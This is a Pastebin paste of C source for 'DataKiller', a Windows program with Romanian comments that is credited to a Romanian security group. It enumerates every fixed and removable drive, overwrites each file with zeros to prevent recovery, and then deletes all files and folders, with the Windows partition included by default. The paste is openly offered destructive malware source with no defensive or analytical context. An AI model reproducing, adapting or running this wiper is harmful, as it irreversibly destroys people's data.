Advertisement
Guest User

DataKiller.c

a guest
Aug 21st, 2011
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.50 KB | None | 0 0
  1.  
  2. /*
  3.     Name: DataKiller.c
  4.     Description: Delete all deleteable files
  5.     Authors: Grupul C/C++ Coder @ Romanian Security Team
  6.     Info: Nu toate optiunile au fost implementate
  7. */
  8.  
  9. #include <windows.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13.  
  14. /* Setari definite de utilizator - puteti sa modificati valorile */
  15.  
  16. int safe_file_delete          = 1;  /* "-[n]sf" Sterge fisierul fara sa poata fi recuperat */
  17. int safe_delete_file_info     = 0;  /* "-[n]si" Sterge si informatiile despre fisier */
  18. int delete_all_files          = 1;  /* "-[n]da" Sterge toate fisierele */
  19. int delete_all_images         = 1;  /* "-[n]di" Sterge toate imaginile */
  20. int delete_all_media          = 1;  /* "-[n]dm" Sterge toate melodiile, videoclipurile */
  21. int delete_all_documents      = 1;  /* "-[n]dd" Sterge toate documentele */
  22. int exclude_windows_partition = 0;  /* "-[n]ew" Nu sterge nimic de pe partita cu Windows-ul */
  23.  
  24. /* Marimi buffere */
  25.  
  26. #define VOLNAME_SIZE 4
  27. #define VOLBUFFER_SIZE 1337
  28. #define DIRBUFFER_SIZE 255
  29. #define FILENAME_SIZE 31337
  30.  
  31. /* Contoare pentru nr. de fisiere si de foldere - statistici */
  32.  
  33. int nr_files = 0;
  34. int nr_directories = 0;
  35. int deleted_files = 0;
  36. int deleted_directories = 0;
  37.  
  38. /* Functia inlocuieste datele dintr-un fisier cu 0 (NULL) */
  39.  
  40. void NullFile(const char *fisier)
  41. {
  42.     HANDLE hFisier = NULL;
  43.     DWORD file_size = 0;
  44.     DWORD file_size_2 = 0, written = 0;
  45.    
  46.     unsigned char *buf = NULL;
  47.    
  48.     SetFileAttributes(fisier, FILE_ATTRIBUTE_NORMAL);
  49.    
  50.     hFisier = CreateFile(fisier, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL);
  51.    
  52.     if(hFisier != INVALID_HANDLE_VALUE)
  53.     {
  54.         file_size = GetFileSize(hFisier, &file_size_2);
  55.        
  56.         /* NULL-uim fisierul, ca sa nu poata fi recuperate datele */
  57.        
  58.         buf = (unsigned char *)malloc(file_size);
  59.         memset(buf, 0, file_size);
  60.        
  61.         WriteFile(hFisier, buf, file_size, &written, NULL);
  62.        
  63.         free(buf);
  64.        
  65.         CloseHandle(hFisier);
  66.     }
  67. }
  68.  
  69. /* Functie recursiva, sterge folderele si fisierele */
  70.  
  71. void DeleteFiles(char *directory)
  72. {
  73.     WIN32_FIND_DATA file_data;
  74.     HANDLE hFisier;
  75.     int new_file = 1;
  76.     char dir_buffer[DIRBUFFER_SIZE] = {0};
  77.     char file_name[FILENAME_SIZE] = {0};
  78.     char new_dir[DIRBUFFER_SIZE] = {0};
  79.    
  80.     /* Formam sirul de caractere pentru FindFirstFile */
  81.    
  82.     memset(&file_data, 0, sizeof(WIN32_FIND_DATA));
  83.     sprintf(dir_buffer, "%s*", directory);
  84.    
  85.     hFisier = FindFirstFile(dir_buffer, &file_data);
  86.    
  87.     /* Parcurgem folderul */
  88.    
  89.     while(hFisier != INVALID_HANDLE_VALUE && new_file)
  90.     {
  91.         sprintf(file_name, "%s%s", directory, file_data.cFileName);
  92.        
  93.         /* Daca e folder */
  94.        
  95.         if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1))
  96.         {
  97.             sprintf(new_dir, "%s\\", file_name);
  98.            
  99.             /* Evitam "." si ".." */
  100.            
  101.             if(file_name[strlen(file_name) - 1] != '.')
  102.             {
  103.                 nr_directories++;
  104.                 DeleteFiles(new_dir);
  105.                 if(RemoveDirectory(new_dir)) deleted_directories++;
  106.             }
  107.         }
  108.        
  109.         /* Daca e fisier */
  110.        
  111.         else
  112.         {
  113.             nr_files++;
  114.             if(safe_file_delete) NullFile(file_name);
  115.             if(DeleteFile(file_name)) deleted_files++;
  116.         }
  117.        
  118.         /* Trecem la urmatorul fisier/folder */
  119.        
  120.         new_file = FindNextFile(hFisier, &file_data);
  121.     }
  122.    
  123.     FindClose(hFisier);
  124. }
  125.  
  126. int main(int argc, char *argv[])
  127. {
  128.     char *dir_buffer = NULL;
  129.     char **drives = NULL;
  130.     int dir_buf_size = 0, nr_drives = 0, i = 0, a = 0;
  131.    
  132.     /* Verificam parametrii din linia de comanda */
  133.    
  134.     if(argc > 1)
  135.     {
  136.         for(a = 1; a < argc; a++)
  137.         {
  138.             /* Luam fiecare parametru in parte */
  139.            
  140.             if(strcmp(argv[a], "-sf") == 0) safe_file_delete = 1;
  141.             else if(strcmp(argv[a], "-nsf") == 0) safe_file_delete = 0;
  142.            
  143.             else if(strcmp(argv[a], "-si") == 0) safe_delete_file_info = 1;
  144.             else if(strcmp(argv[a], "-nsi") == 0) safe_delete_file_info = 0;
  145.            
  146.             else if(strcmp(argv[a], "-da") == 0) delete_all_files = 1;
  147.             else if(strcmp(argv[a], "-nda") == 0) delete_all_files = 0;
  148.            
  149.             else if(strcmp(argv[a], "-di") == 0) delete_all_images = 1;
  150.             else if(strcmp(argv[a], "-ndi") == 0) delete_all_images = 0;
  151.            
  152.             else if(strcmp(argv[a], "-dm") == 0) delete_all_media = 1;
  153.             else if(strcmp(argv[a], "-ndm") == 0) delete_all_media = 0;
  154.            
  155.             else if(strcmp(argv[a], "-dd") == 0) delete_all_documents = 1;
  156.             else if(strcmp(argv[a], "-ndd") == 0) delete_all_documents = 0;
  157.            
  158.             else if(strcmp(argv[a], "-ew") == 0) exclude_windows_partition = 1;
  159.             else if(strcmp(argv[a], "-new") == 0) exclude_windows_partition = 0;
  160.         }
  161.     }
  162.    
  163.     /* Alocam memorie */
  164.    
  165.     dir_buffer = (char *)malloc(VOLBUFFER_SIZE);
  166.     dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer);
  167.     nr_drives = dir_buf_size / VOLNAME_SIZE;
  168.     drives = (char **)malloc(sizeof(char *) * nr_drives);
  169.    
  170.     /* Parcurgem volumele */
  171.    
  172.     for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++)
  173.     {
  174.         drives[i] = (char *)malloc(VOLNAME_SIZE);
  175.         strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE);
  176.        
  177.         printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i]));
  178.         if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]);
  179.     }
  180.    
  181.     printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files);
  182.     printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files);
  183.    
  184.     /* Eliberam memoria */
  185.    
  186.     for(i = 0; i < nr_drives; i++) free(drives[i]);
  187.     free(drives);
  188.     free(dir_buffer);
  189.     return 0;
  190. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement